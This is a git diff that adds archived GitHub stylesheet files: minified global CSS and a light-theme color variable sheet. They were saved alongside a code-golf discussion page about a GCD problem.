.hx_rsm[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{position:fixed !important;top:75px;right:16px !important;left:16px;display:flex;width:auto;height:80%;margin:0;flex-direction:column;animation:hx_rsm-modal-animation .24s .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}.page-responsive .hx_rsm--auto-height .select-menu-modal{top:auto;bottom:20%;height:auto;max-height:calc(80% - 16px)}.page-responsive .hx_rsm .select-menu-header,.page-responsive .hx_rsm .select-menu-text-filter.select-menu-text-filter{padding:16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.page-responsive .hx_rsm tab-container,.page-responsive .hx_rsm-content{display:flex;min-height:0;flex-direction:column;flex:auto}.page-responsive .hx_rsm .select-menu-list{flex:auto;max-height:none;-webkit-overflow-scrolling:touch}.page-responsive .hx_rsm-content>.select-menu-item{flex-shrink:0}.page-responsive .hx_rsm .select-menu-item{padding-top:16px;padding-bottom:16px;padding-left:40px}.page-responsive .hx_rsm .close-button,.page-responsive .hx_rsm-close-button{position:relative;display:block !important}.page-responsive .hx_rsm .close-button::before,.page-responsive .hx_rsm-close-button::before{position:absolute;top:-16px;right:-16px;bottom:-16px;left:-16px;content:""}.page-responsive .hx_rsm .close-button .octicon-x,.page-responsive .hx_rsm-close-button .octicon-x{color:var(--color-fg-muted)}.page-responsive .hx_rsm .select-menu-loading-overlay{animation-delay:1s}.page-responsive .hx_rsm .select-menu-button::before,.page-responsive .hx_rsm-trigger::before{animation:hx_rsm-trigger-animation .24s cubic-bezier(0, 0, 0.2, 1) backwards}@keyframes hx_rsm-trigger-animation{0%{opacity:0}}@keyframes hx_rsm-modal-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_rsm-dialog{max-width:none;height:auto;max-height:80%;transform:none}.page-responsive .hx_rsm-dialog-content{flex:1;min-height:0}}@media(max-width: 767px)and (max-height: 500px){.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{bottom:16px;height:auto}}.select-menu-modal{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-filters{background:var(--color-canvas-overlay)}.select-menu-text-filter input{padding:5px 12px}.select-menu-item{text-align:left;background-color:var(--color-canvas-overlay);border-top:0;border-right:0;border-left:0}.preview-selected .tabnav--responsive{border-bottom:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tabs{z-index:1}@media(max-width: 767px){.tabnav--responsive .tabnav-tab{background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-left:0;border-radius:0}.tabnav--responsive .tabnav-tab:first-child{border-left:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tab[aria-selected=true],.tabnav--responsive .tabnav-tab.selected{background-color:var(--color-canvas-default);border-bottom:0}}@media(max-width: 767px){.hx_sm-hide-drag-drop textarea{border-bottom:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.hx_sm-hide-drag-drop .hx_drag-and-drop{display:none !important}}@media(hover: none){.tooltipped:hover::before,.tooltipped:hover::after{display:none}}@media(hover: none){.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{visibility:visible !important}}.min-width-lg{min-width:1012px}.min-width-xl{min-width:1280px}.min-height-0{min-height:0 !important}.ws-pre-wrap{white-space:pre-wrap}.cursor-pointer{cursor:pointer}.cursor-default{cursor:default}@media screen and (prefers-reduced-motion: no-preference){.hide-no-pref-motion{display:none !important;visibility:hidden}}@media screen and (prefers-reduced-motion: reduce){.hide-reduced-motion{display:none !important;visibility:hidden}}.line_through{text-decoration:line-through;text-decoration-thickness:1%}.gap-2{gap:8px}.starring-container .unstarred,.starring-container.on .starred{display:block}.starring-container.on .unstarred,.starring-container .starred{display:none}.starring-container.loading{opacity:.5}.user-following-container .follow,.user-following-container.on .unfollow{display:inline-block}.user-following-container.on .follow,.user-following-container .unfollow{display:none}.user-following-container.loading{opacity:.5}.hidden-when-empty:empty{display:none !important}.cm-number,.cm-atom{color:var(--color-codemirror-syntax-constant)}auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{padding-right:30px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{background-size:16px 16px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.hx_text-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji" !important}.hx_disabled-form-checkbox-label.form-checkbox.disabled{color:var(--color-fg-muted)}.autocomplete-item{background-color:transparent}.ColorSwatch{display:inline-block;width:1em;height:1em;vertical-align:middle;border:1px solid var(--color-border-subtle);border-radius:6px}.label-select-menu .color,.ColorSwatch{border-radius:2em}.details-overlay[open]>.dropdown-item:hover{color:inherit;background:var(--color-canvas-default)}remote-input[loading] .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_form-control-spinner{position:absolute;top:24px;right:24px;display:none}@media(min-width: 767px){.hx_form-control-spinner{top:18px;right:18px}}.hx_form-control-spinner-wrapper{position:relative}.hx_form-control-spinner-wrapper .is-loading.form-control{padding-right:28px}.hx_form-control-spinner-wrapper .is-loading+.hx_form-control-spinner{display:block}.drag-and-drop{border-color:var(--color-border-default)}.input-sm{min-height:28px}.btn .octicon-triangle-down{margin-right:0}.UnderlineNav-item.selected .UnderlineNav-octicon,.UnderlineNav-item[aria-current]:not([aria-current=false]) .UnderlineNav-octicon,.UnderlineNav-item[role=tab][aria-selected=true] .UnderlineNav-octicon{color:inherit}.break-line-anywhere{line-break:anywhere !important}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{margin-top:4px}.status-indicator-success::before,.status-indicator-failed::before{content:none}.markdown-title code{padding:2px 4px;font-size:.9em;line-height:1;background-color:var(--color-neutral-muted);border-radius:6px}.hx_ActionList-content>.hx_ActionList-item-label,.hx_ActionList-content>.hx_ActionList-item-visual{pointer-events:none}.IssueLabel--big.lh-condensed{display:inline-block;padding:0 10px;font-size:12px;font-weight:500;line-height:22px !important;border:1px solid transparent;border-radius:2em}.hx_IssueLabel{--perceived-lightness: calc( ((var(--label-r) * 0.2126) + (var(--label-g) * 0.7152) + (var(--label-b) * 0.0722)) / 255 );--lightness-switch: max(0, min(calc((var(--perceived-lightness) - var(--lightness-threshold)) * -1000), 1))}:root .hx_IssueLabel,[data-color-mode=light][data-light-theme*=light] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}[data-color-mode=light][data-light-theme*=dark] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}.signed-commit-badge-small,.signed-commit-badge-medium,.signed-commit-badge-large{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.signed-commit-badge-small{margin-top:0}.signed-commit-badge-large{padding-right:10px;padding-left:10px;line-height:22px}.topic-tag-action,.delete-topic-button,.topic-tag{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;padding-right:10px;padding-left:10px;line-height:22px;color:var(--color-accent-fg);background-color:var(--color-accent-subtle);border:1px solid var(--color-topic-tag-border, transparent)}.topic-tag-action:active,.topic-tag-action:hover,.delete-topic-button:active,.delete-topic-button:hover,.topic-tag:active,.topic-tag:hover{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag{margin:0 .125em .333em 0}.topic-tag-outline{background:transparent}.topic-tag-action{display:inline-flex;padding-right:0;margin:.6em .5em 0 0}.delete-topic-button,.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:flex;width:24px;height:24px;padding:0;color:inherit;border-color:transparent;border-left:0;border-radius:2em;align-items:center;justify-content:center}.hx_Layout.hx_Layout--sidebar-hidden{grid-auto-flow:row;grid-template-columns:1fr !important}.hx_Layout.hx_Layout--sidebar-hidden .Layout-sidebar,.hx_Layout.hx_Layout--sidebar-hidden .Layout-divider,.hx_Layout.hx_Layout--sidebar-hidden .Layout-main{width:100% !important;grid-column:1 !important}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided{--Layout-gutter: 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider{height:1px;grid-row:2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-main{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout--sidebar{top:60px;box-sizing:border-box;overscroll-behavior:contain}.branch-action-item.color-border-default{border-color:var(--color-border-default) !important}.user-status-container .input-group-button .btn{height:32px}.reponav-item,.pagehead-tabs-item{border-radius:4px 4px 0 0}.reponav-item.selected,.pagehead-tabs-item.selected{border-top-color:#f9826c}.auto-search-group>.octicon{top:8px}.subnav-search>button.mt-2{margin-top:6px !important}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-btn-primary-bg)}.pagination-loader-container button.color-bg-default.border-0{border-top-left-radius:6px;border-top-right-radius:6px}.avatar-user{border-radius:50% !important}@media(max-width: 543px){.minimized-comment>details>div{padding-left:0 !important}}@media(max-width: 543px){.minimized-comment>details>summary>div{flex-direction:column}.minimized-comment>details>summary>div .review-comment-contents{align-left:flex-start}}.hx_disabled-input{margin-right:-4px !important;margin-left:-4px !important}.hx_disabled-input sidebar-memex-input[disabled]:not(.no-pointer) *{cursor:pointer}.hx_disabled-input sidebar-memex-input:not([disabled]) .Box-row--hover-gray{background-color:var(--color-canvas-subtle)}.hx_disabled-input .Box-row--hover-gray svg.octicon-pencil{visibility:hidden;opacity:0}.hx_disabled-input .Box-row--hover-gray:hover,.hx_disabled-input .Box-row--hover-gray:focus{padding-top:8px !important;padding-bottom:8px !important}.hx_disabled-input .Box-row--hover-gray:hover svg.octicon-pencil,.hx_disabled-input .Box-row--hover-gray:focus svg.octicon-pencil{visibility:visible;opacity:1}.hx_disabled-input input:not(:disabled){margin-top:8px !important;margin-bottom:8px !important}.hx_disabled-input input[disabled],.hx_disabled-input select[disabled],.hx_disabled-input .form-control[contenteditable=false]{padding-right:0;padding-left:0;margin-right:0;color:var(--color-fg-default) !important;background:transparent;border:0;box-shadow:none;opacity:1}.hx_disabled-input text-expander input[type=text][disabled]{display:none}.hx_disabled-input text-expander input[type=text][disabled]+div.form-control{display:block}.hx_disabled-input text-expander input[type=text]+div.form-control{display:none}.hx_disabled-input input[type=date][disabled]{display:none}.hx_disabled-input input[type=date][disabled]+div.form-control{display:block}.hx_disabled-input input[type=date]+div.form-control{display:none}.hx_disabled-input input[disabled]::placeholder,.hx_disabled-input selected[disabled]::placeholder{color:var(--color-fg-default) !important}.hx_disabled-input .form-select{background-image:none !important}.hx_disabled-input .Box-row--focus-gray:focus{background:var(--color-canvas-subtle)}.summary-iteration .inline-status{display:none}.summary-iteration .block-status{display:inline-block}.list-iteration .inline-status{display:inline}.list-iteration .block-status{display:none}.hx_tabnav-in-dropdown{border-radius:5px 5px 0 0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-current]:not([aria-current=false]){border-left:0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-current]:not([aria-current=false]){border-right:0}.hx_tabnav-in-dropdown .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tab[aria-current]:not([aria-current=false]){margin-top:-1px;background-color:var(--color-canvas-overlay)}.hx_tabnav-in-dropdown #cloud-tab[aria-selected=false]::after{position:absolute;top:-14px;right:10px;left:auto;z-index:10;display:inline-block;content:"";border:7px solid transparent;border-bottom:7px solid var(--color-canvas-subtle)}.details-overlay-dark[open]>summary::before{z-index:111 !important}.turbo-progress-bar{z-index:2147483647}.timeline-comment .previewable-comment-form textarea{max-height:none} + +/*# sourceMappingURL=global-0d69ca7f0327.css.map*/ \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css new file mode 100644 index 0000000..044e8a7 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css @@ -0,0 +1,3 @@ +:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/*! */}:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 